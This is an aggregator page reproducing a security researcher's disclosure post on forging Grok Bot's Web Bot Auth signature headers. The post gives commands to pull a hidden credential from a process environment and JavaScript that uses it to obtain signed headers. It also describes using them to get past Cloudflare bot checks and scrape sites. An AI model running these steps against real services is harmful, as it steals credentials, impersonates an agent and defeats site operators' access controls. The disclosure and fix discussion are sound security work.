cd /news/ai-crawlers/impersonating-grok-bot-for-fun-and-n… · home › topics › ai-crawlers › article
[ARTICLE · art-149298] src=nightd.dev ↗ pub= topic=ai-crawlers verified=true sentiment=↓ negative

Impersonating Grok Bot for Fun and (No) Profit

A security researcher forged Grok Bot's Web Bot Auth signatures by extracting the SAND_INFERENCE_RENEWAL_CREDENTIAL token from the sand-web-bot-auth.mjs process environment and using it to call Cursor's signing API, then injected the resulting Signature, Signature-Input, and Signature-Agent headers into Chrome via the Chrome DevTools Protocol to scrape sites behind Cloudflare. The researcher found the signing script at /usr/local/bin/sand-web-bot-auth.mjs, which is also downloadable from SpaceXAI's public CDN as sand-host-bundle-latest.tgz, and noted the token is unset from the environment by /usr/local/bin/start-exec-daemon but recoverable via /proc/<PID>/environ. The technique undermines Web Bot Auth, the standard that verifies AI agent identity through cryptographic signatures and a public JWK published at /.well-known/http-message-signatures-directory.

read5 min views3 publishedOct 11, 2026
Impersonating Grok Bot for Fun and (No) Profit
Image: Nightd (auto-discovered)

Back to all posts

How I forged Grok Bot's Web Bot Auth signatures and used them to scrape sites behind Cloudflare.

A few months ago on August 11, 2026 SpaceXAI released an AI personal assistant named Grok Bot. According to Cloudflare Radar and browsing X it seems like it has been quite successful. However, while playing around with Grok Bot I noticed many odd things. One thing in particular drew my attention. While looking at requests in Chrome’s DevTools I noticed three headers used to cryptographically sign requests, Signature, Signature-Input, and Signature-Agent. I immediately recognized this is Web Bot Auth (WBA) and wondered how it was injected.

What Is Web Bot Auth?# #

Web Bot Auth is a standard that verifies the identity of an automated bot such as AI agents by using Signature headers. Instead of relying on the User-Agent or IP allowlists, it requires bot operators to cryptographically sign their requests using a private key and publishing the corresponding public key (JWK) on their domain at /.well-known/http-message-signatures-directory. This allows site operators to prove a bot’s identity. You can find more details at Cloudflare’s Web Bot Auth documentation and their announcement post in partnership with Browserbase, a data acquisition company.

How to Forge Signatures# #

After creating a Bot and opening its desktop environment, I started digging around and I found a file of interest at /usr/local/bin/sand-web-bot-auth.mjs. This file is also contained in a package that can be directly downloaded from their CDN here. It appears to make a few calls to Cursor’s API to get the signing data and then inject them into Chrome via Chrome DevTools Protocol (CDP):

const { response, body } = await fetchWithTimeout(
  this.fetchImpl,
  this.endpoint, // /sand-box/web-bot-auth-signature
  {
    method: "POST",
    redirect: "error",
    headers: {
      authorization: `Bearer ${token}`,
      "content-type": "application/json",
    },
    body: JSON.stringify({ url: origin }),
  },
  this.timeoutMs,
  readSigningResponseBody,
);
js
consideredOrigin = requestUrl.origin;
const signed = await signer.getHeaders({ origin: requestUrl.origin });
if (signed != null && isSigningCandidate()) {
  headers = mergeRequestHeaders(request.headers, signed.headers);
  signatureSource = signed.source;
}

// ...

const continuation = { requestId: params?.requestId };
if (headers != null) continuation.headers = headers;
await browser
  .send("Fetch.continueRequest", continuation, sessionId)
  .catch(() => {});

Alright, but how do we get an auth token to call the API with? My first instinct was to run printenv. However, it didn’t contain the token. This is because in /usr/local/bin/start-exec-daemon they run:

unset SAND_GATEWAY_TOKEN SAND_INFERENCE_RENEWAL_CREDENTIAL SAND_EGRESS_TUNNEL_BEARER

This deletes the required token from the environment. However, the sand-web-bot-auth.mjs still needs the token to run. You can get the token by getting the process ID and then dumping the process environment variables:

ps -aux | grep sand-web-bot-auth.mjs
strings /proc/<PID>/environ | grep SAND_

And just like that, you have your very own SAND_INFERENCE_RENEWAL_CREDENTIAL. Now you can forge your very own Grok Bot signature headers with:

async function renewToken() {
  const renewResp = await fetch(
    new URL("/sand-box/inference-credential", baseUrl),
    {
      method: "POST",
      headers: {
        "content-type": "application/json",
      },
      body: JSON.stringify({
        credential: renewalCredential,
      }),
    },
  );

  const renewContent = await renewResp.json();
  if (!renewResp.ok || typeof renewContent?.accessToken !== "string") {
    throw new Error(`Token renewal failed: HTTP ${renewResp.status}`);
  }

  return renewContent.accessToken;
}

async function requestSigningData(accessToken, targetOrigin) {
  const sigResp = await fetch(
    new URL("/sand-box/web-bot-auth-signature", baseUrl),
    {
      method: "POST",
      headers: {
        authorization: `Bearer ${accessToken}`,
        "content-type": "application/json",
      },
      body: JSON.stringify({
        url: targetOrigin,
      }),
    },
  );

  const sigContent = await sigResp.json();

  return {
    status: sigResp.status,
    ...sigContent,
  };
}

const accessToken = await renewToken();
const signingData = await requestSigningData(accessToken, origin);

Result:

{
  "Signature":
    "sig1=:aHR0cHM6Ly93d3cueW91dHViZS5jb20vd2F0Y2g/dj1kUXc0dzlXZ1hjUSB3aHlhcmV5b3VyZWFkaW5ndGhpcw==:",
  "Signature-Input":
    'sig1=("@authority" "signature-agent");created=1789860743;expires=1789860833;keyid="Vuxu4khgzIe0b30Nd6hq2envAuVBFMTDqorSNIUb_Oo";alg="ed25519";nonce="xxxxxxxxxxxxxxxxxxxxxx";tag="web-bot-auth"',
  "Signature-Agent": '"https://cursorusercontent.com"',
}

The signature is valid for 90 seconds despite the API stating cacheTtlSeconds: 30 seconds.

Why Is This a Problem?# #

Normally when you ask an agent to request a page it will make a tool call to that agent provider’s backend and sign the request as it’s making it. This way you have no control over the signing process. But here you have control of the Docker container which requests the signing signatures. This undermines the authenticity of the Web Bot Auth signatures since anyone can request a signing signature for any site and impersonate Grok Bot.

How Do You Fix This?# #

Instead, Grok Bot’s backend should MITM traffic from outside the Docker container. This way the user has no control over the signing process. This also has the benefit of signing curl traffic from the terminal, not just Chrome. A more temporary fix could be restricting what IPs can invoke the signing endpoints to only the ranges of the AWS IPs Grok Bot runs.

Unrelated, but of note, if you look through the Docker container you’ll begin to notice there are many ways to detect Grok Bot as a website operator. For example, they don’t do enough patching of the browser environment and this often results in an infinite loop when met with a managed Cloudflare challenge.

How Is This Useful?# #

Some sites could potentially allowlist Grok Bot, but I see that as unlikely. In that case, you might be able to bypass their WAFs such as Cloudflare (5-second challenge). However, starting September 15th 2026, Cloudflare will allow AI crawlers by default. You could use the impersonated signature headers to scrape sites and bypass Cloudflare while pretending to be Grok Bot. I believe this can affect most sites protected by Cloudflare since default settings are powerful and not likely to be changed. However, it won’t affect sites that explicitly request a managed challenge for example via Security Rules or disallow agents.

Below is a practical demonstration of this. On the left, a site is accessed through a suspicious IP and is blocked by Cloudflare (Just a moment...). On the right, that same site is accessed using that same suspicious IP but with forged Grok Bot Web Bot Auth signature headers, which is successful.

Disclosure Timeline# #

  • Sep 23, 2026 : The issue and a rough draft of this article was disclosed to X AI with a deadline and it was acknowledged.
  • 🦗
  • Oct 7, 2026 : This article is published.

Conclusion# #

I’m currently seeking employment opportunities and would love to hear from you if you’re looking for someone with web reverse engineering skills, building scraping pipelines, or backend development. Please contact me via the email in the footer below.

── more in #ai-crawlers 4 stories · sorted by recency
── more on @grok bot 3 stories trending now
sponsored brought to you by zahid.host 4,200+ EU-deployed projects
reading about agents? ship yours in a single git push.

Run your AI side-project on zahid.host

EU-based hosting, git-push deploys, automatic HTTPS, no cold starts. Free tier with a custom domain — perfect for shipping the agent you just read about.

$git push zahid main
→ Live at https://your-agent.zahid.host ✓
Get free account → Pricing
from €0/mo · no card required
LIVE [news/impersonating-grok-b…] indexed:0 read:5min 2026-10-11 · —